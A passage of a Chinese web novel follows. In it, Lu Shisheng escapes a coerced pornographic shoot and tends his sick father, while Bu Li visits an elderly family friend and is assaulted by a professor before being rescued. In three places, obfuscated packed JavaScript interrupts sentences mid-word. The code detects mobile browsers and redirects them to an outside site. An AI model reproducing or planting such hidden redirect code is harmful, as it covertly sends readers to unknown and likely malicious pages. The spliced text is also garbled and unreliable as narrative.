这是间非常宽敞的大平层,陆时生走进去,便见到有人在拍摄,三个巨大的灯光映在一个赤裸着上身的男人身上,旁边两个摄影师拿着相机在拍。 中间的模特摆了几个造型后,旁边有个留着长发的男人说道:“好了,去换下一套衣服吧。” 年轻的男模特朝大家笑了下,去了更衣间。 陆时生心中大概了然,原来是拍写真。 王显松注意到陆时生的目光,轻声在他耳边笑着说:“知道要干啥了吧,我觉得刘导对你肯定也挺满意的。” 他说完,朝着长发男人招了招手,长发男走过来,看了眼陆时生,似乎挺满意,他点了点头,说道:“条件还不错,有拍摄经验吗?” 陆时生点了下头:“有。” 长发男听他说有,露出很满意的表情,“做什么小王都跟你说了吧。” “简单介绍了一下,”王显松笑得鼻子眼睛挤到一起,“刘导,就等您安排了。” 刘默嗯了一声,“行,带他去签合同吧。” “不好意思,我还有些事想问,”陆时生顿了顿,“请问拍一次工资有多少?什么时候发给我?能预支吗?” “咱们这行工资没固定的,就看你表现怎么样了,不过小兄弟这是缺钱?” “嗯。”陆时生点了下头。 “这样啊。”刘默拉长了些尾音,“要是你拍得不错,我可以帮你申请片酬提前到账。” 陆时生道了声谢,跟着王显松去签了合同。这一路王显松眼睛一直在往陆时生身上瞟,等和陆时生的目光对上,便尴尬地笑两声,“陆兄,不是我恭维你,你条件是真挺好,比我见得好多电影明星都好,你就跟刘导好好拍,可能现在就只能接点小......小项目,以后拍好了,刘导肯定能推荐你去大剧组!” 陆时生不关心以后的事,他现在急需用钱,只关心第一笔工资什么时候可以到账,“王哥,我什么时候能拍?” “马上就行啊,你等我问下刘导。”他说着,掏出手机给刘默拨了电话过去问,“刘导,合同签完了,您看先去哪个组?” 那边沉默了一会儿,似乎是在思考,“先去611吧。” “好嘞!”王显松挂了电话,带着陆时生去到611。 路上,他走得比较慢,快到地方之前还看了眼陆时生,略有迟疑地问:“陆兄,你以前都拍过什么?” 陆时生道:“写真馆的样片,算吗?” “哦......”王显松眉头皱了起来。 “不行吗?”陆时生其实自己也有点心虚,步梨给他拍样片的时候基本上是在处处迁就他,很多事都是来源于她在一旁的指导才能顺利完成,他根本就算是没有拍摄经验,但为了能快些拍摄赚钱,陆时生只能这样说,学一学总归没问题吧。 他想着,一旁的王显松似乎也在斟酌什么。 “611项目组的活儿其实挺适合你的,片酬多,但就是你得牺牲一点......” 他话说得不明不白,甚至有点神秘。 “什么意思?” 王显松这次直接推开了门,让陆时生先进,他在后面锁了门,然后和声和气地问道:“就是你接受大尺度的吗?” 陆时生想起方才赤裸着上身的男模特,正要点头,房间里一阵“嗯~啊~”的呻吟声传入耳朵。 是两个男人的声音。 他大概能猜出来这个是什么声音,但还是不可置信地问了一下,“这是在拍什么?” 王显松朝他猥琐地笑笑,“你懂的啊。” “所以是让我拍这个?” 王显松点点头,“边享受边赚钱,多好的事儿。” 去他妈的好事儿! 陆时生在心里骂了一句,保持着最后的冷静,“不好意思,我不拍这种。” 王显松拍着他的肩膀,让他别太激动,“兄弟,别那么矫情,一具身体而已,不用太当回事儿,而且你这么优越的身体条件,不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586659|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来赚钱,就浪费了。你应该感谢你的这层皮,至少在你需要钱的时候能帮到你,像别的那些人,求爷爷告奶奶都要不来这种活儿。” 他说着开了门,房间里一片春光艳丽的景象大大咧咧地闯入陆时生眼中。 陆时生顿时觉得恶心,转身就走,王显松在后面拉住他,“怎么?你想走?” “我说了我不拍。” 王显松收了笑容,“合约都签了,你说不拍就不拍?” 陆时生忍着恶心说了句,“你们不是已经有演员拍了吗?” 王显松冷笑一句,语气也不像刚才那般客气,“哪比得上你?你是刘导亲自认证过的。” 拍摄场地那边打的火热,陆时生实在看不下去,只想快点逃离这个地方。 这时从人群里走过来一个又高又壮的男人,头上顶了个墨镜,拉了拉王显松,“怎么回事啊老王,你带个良家妇男来咱们这儿干嘛?” 王显松和彪形大汉对视一眼,“刘导点头了的,合约都签了,你说他想反悔,咱让么?” “兄弟,你都到这儿了,就别想着出去了,我们别人的面子不给,刘导的面子还是要给的。” 陆时生极力保持着冷静,说道:“把刘导叫过来,我跟他说。” 王显松诶呀呼叫地叹了两口气,说道:“兄弟你怎么就想不开呢?你要是不拍就得算毁约,按照条款需要按照酬金的十倍来赔偿,今天这个你不干,就得赔六十多万过来,我这不也是为你好。” “你们干脆去抢钱好了。”陆时生转身往外走。 他刚走出房间,还没出611的门,听到王显松低声说了句,“刘导,出了点意外,您过来一趟吧。” 与此同时,彪形大汉几步跨过来,挡在了他前面。 “想走?” 陆时生无奈道:“我说了我拍不了,你们到底想干什么?” 他知道现在这情况,怕是不好脱身了。 也怪不得谁,只怪他赚钱心急,行事太过草率。 门很快开了,从门外闯进来几个身形和眼前这位一样的彪形大汉,刘默是最后一个进来的。 他本来个子不矮,但在这群人中显得瘦瘦小小的。 “怎么?听说你不乐意拍?”他嗓音细细的,说话一直是上扬的声调。 陆时生低声道:“拍写真、广告、杂志都可以,这个不行。” 刘默笑出声,在场的人见他笑,也都跟着笑。 “小兄弟还是太年轻了,你是有点姿色,但没名没势的,还想着拍广告、拍写真?谁给你拍啊?” 说完,在场的人再次哈哈大笑起来。 笑声如巨浪滔天涌进陆时生耳朵,他全当没听见,抬脚往外走。 刘默拉住他的胳膊,抬脚走到陆时生跟前,一双细长的吊眼直勾勾看着他,半晌,忽然哼笑一声,“陆小兄弟,被我看上就等同于泼天的富贵来找你了,好多人想来拍都来不成呢。” 他贴得很近,超出了正常的社交距离,最后半句话几乎是贴在陆时生耳边说的。 陆时生感觉一只手探进了他的上衣,顺着腰线缓缓往下。 震惊与恶心袭来,陆时生压下心神,浑身的力气蓄在了胳膊肘,朝着刘默的胸口狠狠一击。 他这一下使了不少力,刘默“啊”地喊了一嗓子,连连后退几步,捂着胸口咳了半天。 “咳——你......你他妈的不识好歹!给......给我打!” 话落,周围几个彪形大汉立刻围了上来,有人从身后抓住陆时生的胳膊,却被反手一擒直接腾空摔在地上。 刘默见状,在一旁气得喊破了嗓子,“都给我上!” 陆时生这会儿心里的火气正没地方发泄,出手狠辣丝毫没有留情。 刘默在一旁看着,等情绪冷静下来,才发现事情不对。 他事先了解过陆时生的背景,可一个花溪镇的木工,怎么会有如此专业的身手? 他愣神的时候,冲上去的几个人全都瘫倒在地,王显松也抱头蹲在墙根痛苦嚎叫。 一股前所未有的恐惧席卷而来,刘默表情忽然变得狰狞,指着陆时生大声质问,“你......你到底是什么人?” 陆时生看了他一眼,开口道:“把门打开。” 刘默握了握拳,最终吐出一口气,一副认栽的表情,“开门!” 离门最近的那位连滚带爬地将门给打开,朝着陆时生恭敬地点了下头,陆时生头也不回地走出门,没人再跟上来。 他上了电梯,出了楼口,走出去很远,才在路边找了个长椅坐下。 冷静下来后,他给阿水拨了电话过去,几声响后,他挂断电话,觉得自己是气糊涂了,关他什么事?他大概也不知道自己交了个什么朋友,现在打过去,倒像是兴师问罪的。 过了些许,阿水打了回来,陆时生盯着手机,过了片刻才按了接通键。 “陆哥,你和陆叔在江北怎么样?是不是要用钱?唉,我这也没啥了,不过你要急用,我帮你去借!” 陆时生心里凉凉的,骂自己方才龌龊的想法,他低声道了句,“没事,我们挺好的,就是跟你说一声,谢了。” “那就行,”阿水道,“对了,你见到老王了吗?他给你的工作怎么样?” 陆时生想了想,问:“你知道他是干什么的吗?” 阿水道:“不清楚,他之前喊我过一块干,但我当时有工作,没去,怎么了陆哥?是工作不好吗?” 陆时生沉默了会儿,说:“那工作...一般人做不来,你以后也别干,放心吧,江北这边赚钱的机会挺多的。” 他又说了两句,便挂了电话,陆时生站起身,走进旁边一家药店,买了点碘伏和棉签,涂在了胳膊处的伤口上。 43. 都给我孙媳妇 陆时生最终找了份快递员的工作。 公司还给他配了个电动三轮车,他每天早七晚八,派件收件能有两百多个件。 白天送完快递,晚上他再去附近的酒吧工作,帮客人点单,陪客人说说话,对他来说也算是休息了。 陆望潮顺利做完了开颅手术,医生说手术是成功的,但并发症也十分明显。陆时生每次去医院,陆望潮都在嘴里都在念叨着那些胡话,说他不是他儿子,而是他捡来的。 陆时生知道他还想着尽快回花溪镇,现在他也会柔和地哄,“快了,安大夫说手术很成功,再观察两天就能出院了。” 陆望潮倒是有一点和从前不太一样,做完手术他变得倒是很听话,从没像之前一样对陆时生恶语相向。 陆时生说让他再等两天,他就点头,乖乖等着,在心里算着日子,等两天过去,他便再问一遍,“时生啊,什么时候回家?” 陆时生说:“再过两天。” 陆望潮便真的再等两天,然后再问。 陆时生不厌其烦地跟他说,他也不厌其烦地在等,每天的饭也都在按时吃,只是心情一直低落,吃饭时经常说:“吃不着几次了。” 陆时生道:“您要想吃,回家我天天给您做,怎么就吃不着了?” 陆望潮哀叹一句,“再过两天我就死了,时生啊,我难受得厉害,手术肯定是失败了,医生骗了你,手术失败了,我这就是报应、报应.....” “您哪来的报应?” 陆时生问了句。 他不知道陆望潮口中说的报应具体是指什么。 在他心里,虽然也曾埋怨过陆望潮对他的打骂,可陆时生知道,陆望潮并不是真心厌恶他,他也需要发泄。命运对这个中年男人非常不公,让他失去妻子,辛辛苦苦照顾昏迷不醒的儿子一整年,之后给人干活儿,攒钱还债,如今又生了大病,卧床不起。 想到这儿,陆时生心软了几分,“要遭报应也是我来受,你的手术很成功,别总胡思乱想。” “你不知道,这就是我的报应。”陆望潮也不解释,只是不停地念叨着,陆时生便坐在旁边看着手机里的兼职信息,忽然听到刺耳的机器声响,抬眼一看,陆望潮已经昏死了过去。 陆时生急忙喊来医生,半天的抢救后,陆望潮的病情才算平稳下来。 陆时生回神时掌心凉冰冰的,出了薄薄的一层汗,等大夫出来,他忙上前询问,“安大夫,我父亲到底是什么情况?” 安大夫脸色严峻,“病人情况不是很好,目前还需要观察几日,其实手术后是容易出现一些并发症的,但现在您父亲最主要的原因出在心态上面。” “心态?”陆时生愣了愣。 “他自己不相信手术成功,整天念叨着死,就算是神仙来了,也救不回他。” 陆时生愣了一会儿,点了下头:“请问大夫,这个手术会影响人的神智吗?我父亲近来总是说一些胡话,或者...需不需要看一下精神科?” “说胡话?”安大夫迟疑了一会儿,说道,“开颅手术本来就是高风险手术,术后并发症的发病率也会很高,病人的身体、心智都可能会受到影响,如果你不放心,可以再做一次全面检查,不过最重要的还是让病人保持一个乐观积极的态度,对于我们的治疗也有很大帮助。” 陆时生道:“我知道了,谢谢大夫。” 他在病房外站了一会儿,想着陆望潮这些天嘴里念叨的胡话。 “快死了......” “有罪。” “报应。” 如果他父亲神智没有问题的话,那便是他以前做过什么亏心事,但他对陆望潮的过去一无所知,对他的家人、亲人都是这样。 陆时生也是这时才意识到,其实他不了解陆望潮,也不了解自己。 就像他也不知道自己为什么会在那栋大楼的611房间,游刃有余地击退那些扑上来的人。 他实在不记得这些格斗术是从哪学来的,陆望潮也从未同他讲。 他正想着,有护士走过来,很有礼貌地喊了他一声,把他思绪打断。 陆时生抬眼,护士笑着递给他一张纸,“不好意思,您需要去交下费。” ...... 因为相亲的事,步梨和宋涵云又吵了一架,她晚饭没吃,窝在自己房间里一直画画。 入秋后,晚上的温度直线下降,卧室的窗户没关,凉意袭来,步梨便披了个毯子在身上。她想呼吸些新鲜的空气,可总是觉得和花溪镇的不一样。 城市里的空气总感觉是疲惫的,从远道而来,经过高楼大厦的隔断,稀释了无数的汽车尾气,经历人山人海,到的时候已是精疲力尽。 花溪镇的却不一样,花溪镇的空气来自大海,经过广阔海面的洗礼,途中摇一摇花草树木,一路顺风就到了人跟前,还带着大海的潮湿与浓稠。 虽然有时候会让人觉得黏腻,但却是纯粹的,新鲜的,热情的,活力四射的。 步梨从那里回来,没有一天不在怀念花溪镇的日子。 可回忆一袭来,就免不了会想起陆时生,免不了会有一场想念、怨恨、痛苦交织的情绪战争。 有人敲了敲门,一道温和的声音传来,“香瓜啊,睡了吗?” 一听是姥姥,步梨起身去开了门,“姥姥。” 门口是谢兰珍,她端着盘子,笑眯眯地看着步梨,“你妈特意给你煎的鸡蛋,不好意思给你送过来,还得麻烦我这个老太婆。” 步梨和宋涵云吵完架,心里也是愧疚的,这会儿小声地问:“姥姥,我妈在干嘛?” “看电视呢,你一会儿吃完了,就下去和她说两句话吧。” “行。”步梨悄悄走出去两步,顺着楼梯往下看,宋涵云果真正坐在沙发上,边吃水果边看电视,看样子应该也不生气了吧。 谢兰珍走进来,把盘子放在书桌上,见到了步梨的画,她眼有点花,还凑近看了看,“这是画的谁啊,模样还挺俊俏。” 步梨急忙把画拿了过来,护在胸口,说道:“随便画画。” 谢兰珍看透一切般的眼神,笑呵呵地道:“随便画画?我看画得挺细致,这不得把人家看了上千遍?” 步梨狡辩道:“我记性好,看一眼就能记住。” 谢兰珍呵呵地嘲笑她了两声,“也不知道谁,之前一直说自己是那个什么...脸盲,把自己表哥都能认错。” 步梨听她提起这件事,也跟着笑了笑。 她小时候去参加沈思筝的生日宴,跟着“表哥”走了半天,蛋糕也吃了,果汁也喝了,宴会厅绕了大半圈才发现她认错了人,带她玩的人根本不是她表哥,而是温故。 温故当时早发现了,却故意逗她,后来步梨觉得尴尬,见到温故就躲着。有段时间她每次去找沈思筝,都得先问一下温故在不在,不在了才肯去。 谢兰珍笑了她一会儿,好奇道:“不管是哪家的小伙子,长得蛮帅气的,你给姥姥看看呗,别那么小气。” 步梨在姥姥跟前一向没什么藏着掖着的,便展开给她看了。 “画得不错啊,”谢兰珍看着,忽然眯起了眼睛,“我看这张脸好像有点眼熟呢,这是哪家的小伙子?” 步梨闻言笑了下,“这是我在花溪镇认识的朋友,他没来过江北。” “之前你爸妈定亲的时候,我也跟着去过一次花溪镇,那地方风景好得很,”谢兰珍看着这张脸,不知怎么的就想起了温老爷子,可能是两人眉眼有些相似,让她忽然涌出了早年的回忆。 她想起温家的老爷子去年患上老年痴呆的,前段时间又突发了脑梗,半个身子动不了了,一直住在医院疗养,心里一阵惆怅。 看了会儿,谢兰珍开口,“香瓜啊,明天你陪我去医院看看你温爷爷吧。” ... 第二天上午,步梨买好了礼品和花,和谢兰珍一块来了医院看望温老爷子。 步梨小时候见过温老爷子,虽然记不清他的样貌,但印象里他是位精神抖擞英气十足的老头,几年不见,他整个人的精神状态已经大变,躺在床上话都说不利索,神智也跟个小孩一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15593822|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,从谢兰珍和步梨进来就一直咧着嘴笑。 护工说他现在跟六七岁小孩没什么区别,见到喜欢的人就呵呵地笑,见到不太喜欢的就会白一眼,头一撇任谁喊都不搭理。 温老爷子今天心情似乎格外得好,还用不利索的手给步梨剥了个橘子,递过来时含糊地说了句,“橘子......吃......” 步梨接过来笑着道:“谢谢温爷爷。” 温老爷子见她喜欢,兴奋地指了下床头柜,“这......有一袋,都、都拿走,拿走啊!” 步梨道:“留着您吃啊。” 温老爷子头偏了偏,“我不吃!都给我孙媳妇。” 步梨愣了下,转头看谢兰珍,“姥姥,温爷爷他说什么?” 谢兰珍让她稍安勿躁,摸了摸她脑袋,说道:“这老爷子记性倒是好,早年我总跟他开玩笑,说撮合撮合你跟温故,他还记得这事儿呢!” 步梨尴尬地笑了下,“原来是这样。” 温老爷子又给步梨剥了个橘子,嘴里嚷嚷着让她带回家,步梨两个手都被橘子塞满了,很配合地说了声好。 她看着像个孩子一样的温爷爷,心里莫名有些感伤。温爷爷变成这样,大概是因为自己唯一的孙子英年早逝,白发人送黑发人。 护工轻声说道:“老爷子这几年脑子糊涂,总是说要找温少爷,之前温礼少爷来看过他一次,但他侧着身子,一句话都不说,温礼少爷挺不开心的,便再没有来过了。” 护工说着,眼里露出失落的表情。 谢兰珍听出她语气里的不满,怕是在她心里,也从没把温礼真正地当成温家人,所以也没怎么帮忙调和爷孙俩的关系。 但现在温家到底只剩了这一个孩子,不管是不是领养的。 她开口道:“那孩子怎么说也是温家以后的继承人,春云你照顾温老爷子也挺久了,有些道理应该懂。” 叫春云的护工不好意思地低了低头,说道:“我知道了。” 谢兰珍没再追究,一是温家的事她管不住,二来春云是温老爷子生病后才来的,从没见过温故,对温故也不会有什么特殊的感情,她这个态度肯定是从别人口中听了什么话。 步梨低声问:“姥姥,你见过温礼吗?” 谢兰珍道:“没见过,那孩子也挺可怜,毕竟是后来领养的,来的时候都十四五岁了吧,之前一直都待在孤儿院,难免遭周围人排挤,估计过得也不太随心。” 步梨没见过温礼,不知道他是怎样一个人,听沈思筝说,他眉眼和温家人有点像,所以被领了回来,也正因如此,不少人都在传温礼其实是温宋元的私生子。 不过外面的闲言碎语她一概不相信,世间的事纷繁复杂,她过好自己的生活便是了。 步梨和谢兰珍临走之前,温老爷子非常不乐意,嘴里大声嚷嚷着什么,虽然听不清,但步梨知道他的意思,他在嫌他们不来看他,怕这次走了,下次就再也不来了。 护工哄了半天都不管用,老爷子还大闹了一番,直接摔了碗筷。 步梨从包里掏出一个小的手绘本送给了温老爷子,“温爷爷,这是我的手绘本,前面这些都是我画的,后面这个我画完了,还没上色,您来帮我上色吧,等你上完了色,我就来看您了。” 温老爷子拿着手绘本翻了两页,没闹,过了会儿,呵呵笑了两声,算是同意了。 步梨和谢兰珍安心离开,约的车已经到了医院门口,步梨觉得自己在上车时好像见到了陆时生,车门关上,她忍不住多看了两眼,医院来来往往的人很多,那身影已然不见。 步梨想着自己肯定是眼花了。 回来这几日,她经常看错,把很多人都认成过陆时生,等再仔细看,才发现只是错觉。 也不知道他在花溪镇做什么,这个时间应该比较闲,一般陆时生都会在收账台懒懒坐着做木工活儿,也说不准,在和菲姐谈笑风生侃侃而谈呢。 步梨回过神,车子已经渐行渐远,红绿灯由红跳成绿色,司机平稳地启动,扎进无数向前奔涌的车流中。 44. 我是你爷爷! 步梨没有看错。 这个时间陆时生确实来了医院。 陆望潮的身体情况不是很好,陆时生每天趁着休息时间,会尽量多来医院陪着他多待一会儿。 他从医院南边的侧门进来,通过花园里的石板小路,见到粗壮的榕树下有个老人扶着树站着,手撑着拐杖,在树下微微喘着气。 陆时生犹豫了一下,走过去问了句,“要帮忙吗?” 老人低着头,喘了一会儿才抬头看他。 他眼神有些奇怪,从疲惫平淡,在一瞬间忽然转为了震惊与愤怒,陆时生有些不解,愣着的时候,老人已经扬起拐杖要朝他砸过来,嘴里还不断骂着:“混、混账东西,这么久不来,跑哪去了?” 因为太过激动,腿脚又不便,他被什么绊了一下,差点就栽到地上。 陆时生把老人扶到旁边的椅子上坐下来,他意识到这位老人的精神不太正常,又看到老人身上的病号服,质感很好,和普通的病号服不一样。 医院的南区比较安静,环境也好些,旁边这栋楼里都是VIP病房,想来这位老人应该挺有钱的,现在八成因为什么事自己出了病房。 “您记得自己住哪间病房吗?我送您回去。”陆时生平静地问道,他看见老人手里拎了一袋橘子,正会儿要往他手里塞。 “橘.......橘子,你媳妇爱吃,你给她带回去。” 陆时生没太听清,“什么?” 老人似乎很生气,瞪了他一眼说道:“你媳妇的橘子忘拿了。” 陆时生:“???” 陆时生无语道:“您认错人了。” “臭小子!我是你爷爷!”老人开始搜寻他的拐杖,嘴里不停骂着,“臭小子!混账东西!连带个橘子都不乐意,怪不得你媳妇不跟你一块来!” 他骂完,自己把自己累得气喘吁吁。 陆时生担心他出事,急忙接受了那袋橘子,安抚道:“行行行,我知道了,您住哪?” 老人头一撇,“不记得。” 他说完开始委屈,“你怎么都不来看看我?” “你以后能不能多来看看我?” 陆时生:“......” 他心里怪不是滋味的,想来是一位孤独的老人,常年得不到家人的照顾。只是这些终究是别人的家事,他不过是个陌生人,没资格去管。 他现在留也不是,走也不是,便想着给安大夫打个电话,让他帮忙联系联系住院部的大夫。刚要拨电话过去,从不远处跑来一个神色匆匆的中年女人。 陆时生站起来朝她挥了挥手,女人这才像是吃了定心丸,一路快步跑过来,气喘吁吁地跟陆时生道谢,“谢谢你啊,我就去了个洗手间回来就找不着人了,真吓死我了。” “没事。”陆时生把手里的橘子递给女人,“他说他来给人送橘子,要我带过去,还给您。” 他说话声音放低了不少,怕老人听见不乐意,但还是被听了去,老人怒气冲冲地瞪着俩人,满脸写着“我看你敢接”几个字,似是下一刻就要打过来。 女人没接那袋橘子,她笑了笑,说道:“您收下吧,就当是帮我一个忙,不然他回去会一直闹的。” 陆时生犹豫了下,点头:“行,那......多谢了。” 他拎着那袋橘子转身走了。 不知怎的,因为心里某种异样的感觉,他莫名其妙地就回头看了一眼那位老人。 老人看着他咧嘴笑了笑,口齿不清地朝他喊了句话。 陆时生听清楚了,他说的是。 “路上小心。” ... 到了病房,陆时生把橘子分给了同房间的病友一些,然后给陆望潮剥了一个。 陆望潮看着那橘子发了会儿呆,拿在手里半天了,也不吃,陆时生便自己吃。 一个橘子吃完了,陆望潮惊讶地望着他,“你果然不是我儿子,我儿子一点儿也不喜欢吃橘子。” 陆时生见怪不怪地随口回应,“我知道,您说过好几次了,23号,等那天做完检查,如果您的检查指标都没问题,咱们就回花溪镇去。” “还要检查?” “嗯。” 陆望潮不太高兴,“我不查了,明天就走吧,等回去我死了,你记得把我埋在坟地的最东边,那棵大柳树下。” 陆时生不知道该怎么回应,他觉得挺无奈的。 花园里那位不认识的人非说是他爷爷,自己的亲生父亲却不认他,一直说着他不是自己儿子。 这种感觉,似乎是生活在朝着一个杂乱无章不可控制的方向疯狂驶去,他在路上被狂风吹麻了脸,有点晕车。 ... 江北大学艺术会堂。 下午两点钟张泽明教授要在这里举办一场艺术交流分享会,团队里的学生和老师都来帮忙布置会场。 步梨把桌签从左向右摆好,同样是团队里的新人钟文禾同她一起,两人一个从左边摆,一个从右边摆,摆到中间的时候,钟文禾忽然咦了一声,拍了拍步梨,“步老师,这个廖翔廖教授好像是江北艺术大学的,你以前不是在那里工作吗?认识他吗?” 步梨听到这个名字,心里一惊,点了点头,“认识。” 钟文禾一听,激动起来,“真的吗?我可喜欢他的作品了,一会儿他要是来了,你能不能帮我搭个桥要个签名?” 步梨拍了拍钟文禾的肩膀,告诫的语气说道:“看看作品就行,签名就算了,不然会后悔的。” 钟文禾要是知道她为什么会从艺术大学离职,八成现在会对廖翔避之不及。 “什么意思?” 钟文禾似懂非懂,这时几名学生涌进来,抬着几箱水和一大袋子的水果,气喘吁吁地问要怎么摆放,步梨和钟文禾便没再多说。 虽然过了半年的时间,但步梨对那段工作经历还是有点阴影,她看到廖翔这个名字时,心狠狠地揪了一下,生怕一会儿遇到。 从会议开始,她就尽量躲在后面,专门找了廖翔视线盲区里的位置。好在从分享会开始,廖翔的目光都没往她这边看过。 会议到了后半场,中途休息的时候,廖翔忽然站起身朝她这边走来,步梨忙侧过头,隐匿在角落里。 廖翔转身去了洗手间的方向。 虚惊一场。 步梨在心里安慰自己其实也不用这么紧张,毕竟廖翔是个衣冠禽兽,在公共场合一贯以斯文儒雅的品质示人。 或许他也没发现她现在来了江大。 想到这儿,步梨微微松了口气。 她往四周看了看,不知是不是错觉,她感觉廖翔在走出门口转身的时候,往她坐的方向瞥了一眼,那眼神看似不经意,却让步梨感觉到一种异样的寒意。 像是在说,“别躲了,我发现你了。” 步梨浑身僵直,感觉胸口有点闷。 旁边的人拍了拍她。 步梨回过头,是一名年轻的男人,许是见她神情不太对,男人递了一瓶水过来,轻声问道:“不舒服?” “谢谢。”步梨拧开瓶盖喝了一口,感觉心情放松了些许,“可能是房间里人多,有点闷。” 男人关切地问道:“要出去走走吗?” 步梨摇摇头,“不用,好多了。” 她更害怕出去会碰到廖翔。 男人点了点头,没再说什么。 过了一会儿,他又看了一眼步梨,似乎有话想说,步梨注意到他的目光,微微侧目,正好与他目光相碰。 男人张了张口,“你......不认识我了?” 步梨愣了愣,辨认了一会儿,“你是......吴延?” 男人长长地松了口气,“幸好你记得,不然我可得伤心一阵子了。” 步梨笑了一声,“不至于吧,实在不好意思,你好像比读书那会儿瘦了不少。” 步梨是在国外读书时认识的吴延,当时的他外形、气质都与现在判若两人。 那会儿他留着非主流的长发,家里挺有钱的,整日也不去上课,和几名外国同学组建了一个乐队,天天在酒吧抱着吉他玩摇滚。现在眼前这个人穿着休闲的蓝色西装,头发也利落地梳了上去,步梨还以为他是某个学院的老师。 吴延笑了笑,说道:“比读书那会儿瘦了三十来斤吧,主要是工作太累,经常没时间吃饭。” “在哪工作?”步梨问。 “DM,是个初创的小公司,能被邀请来参加张教授的座谈会已经非常荣幸了。” “没有啊,我知道那家,虽然是初创公司,但发展的势头很猛,那个新展集团的logo就是你们设计的吧。” “是,对了,听说你来张教授的团队工作了,后面我们和张教授有一个项目要合作,我们要不加一下微信?” “行。” 两人互换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597169|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了微信。 休息结束后,会议下半场开始,廖翔不知什么时候已经回到了座位上。 步梨刚才喝了大半瓶水,休息间隙又因为顾着和吴延聊天没去洗手间,这会儿有点内急,步梨站起身从后门悄悄溜了出去。 洗手间在走廊的另一头,要拐个弯走到一个角落里,步梨洗完手出来,突然就觉得这个地方阴森森的,她快步往回走,在转弯的地方猛地撞上一个黑影。 步梨心下一惊,血液瞬间就凉了几分。 耳边传来森森的声音让她直犯恶心。 “好久不见啊,步梨。” 步梨硬着头皮抬头,还是那张一模一样的脸,和半年前没什么变化,他快五十岁了,但皮肤偏白,加上保养的不错,看起来比同龄人年轻。 “廖教授,请让一下。”她努力保持着镇定。 廖翔直接把鼻子凑近,贴着步梨的脖颈深深闻了一下,“步梨,你还是这么香,好像比之前还漂亮了。” 步梨心里一阵恶心,“您要是再纠缠我,我就报警了。” “报什么警?我又没拿你怎么样?现在的年轻人戾气真重,动不动就要报警,怎么毕竟是前同事,叙叙旧说两句话也不行?” “没什么可说的。” 步梨抬脚要走,不想胳膊被人狠狠一拽,她整个后背砰一下撞到了墙上,猝不及防的碰撞让她顿时两眼发黑,还没反应过来,廖翔的手直接将她的嘴捂住,庞大的身体贴上来,凑在她耳边嗅来嗅去。 步梨奋力挣扎,却只能发出支唔的声音,魔鬼一般猥琐的声音在耳边回荡。 “步梨,让我闻闻吧,我又不做什么别的,就是闻闻,闻都不给,太小气了吧?谁让你身上这么好闻呢?弄得这么香,不就是给人来闻的吗?” 步梨有些绝望,使出浑身解数,趁着廖翔把身体微微往后调整的空隙,全身力气蓄在胳膊肘,朝着他的胸口狠狠撞去。 廖翔没想到她有这么大力气,后退了两步,却也没生气,看着惊慌失措的步梨,反倒有些意犹未尽,内心的欲望被悉数激发出来,顿时玩心大起。 在他眼里步梨的反抗不过是砧板上的鱼肉,摆着尾巴挣扎几下。 廖翔伸手便把逃走的步梨拽住,刚要靠近,就被人狠狠击了一拳。 这力气很大,绝对不是女人拥有的力气。 廖翔气急败坏地直起身,抹了把嘴角的血,瞪着眼前的不速之客怒声道:“你什么人?!” 步梨后退几步,见到刚才帮她的人是吴延。 吴延将她挡在身子后面,愤愤地望着廖翔,“不用管我是谁,你是江北艺术大学的廖翔是吧,我记住你了,道貌岸然的禽兽!” 廖翔笑了笑:“我跟前同事说几句话,怎么了?” 吴延握了握拳,忍住了一拳打过去的冲动,“不怎么,但愿等你见了警察,也能这么嚣张。” 廖翔冷哼一声,讥讽道:“怎么?想报警抓我,你有证据吗?” 吴延怒目瞪着他,咬牙吐出一句,“走着瞧就行了。” “年轻人,别多管闲事。”廖翔不屑地看了一眼吴延,镇定自若地抬脚走了。 “没事吧。”吴延看向步梨,将她上下打量了一遍,确认没受伤才放心下来。 步梨把散落下来的碎发捋到耳后,摇了摇头说:“没事,刚才多谢了。” 吴延问:“你是因为这个才从艺术大学离职的?” 步梨点点头,“我报过警,但不管用,还因此收到了很多匿名的恐吓信,听说公安局里有帮他的人。” 吴延安慰道:“你放心,我会帮你的。” 步梨惊讶:“你要做什么?” 吴延冷笑一声,“我们吴家想查一个教授,还能不成吗?” 步梨知道吴家的厉害,只是她没想到吴延肯为她查这件事。 她默了片刻,婉拒道:“不用了,我自己也可以处理,之前是我过于忍让,却不曾想他愈发禽兽,若是再放任下去,只怕有更多人遭殃。” “先回去吧。”吴延道。 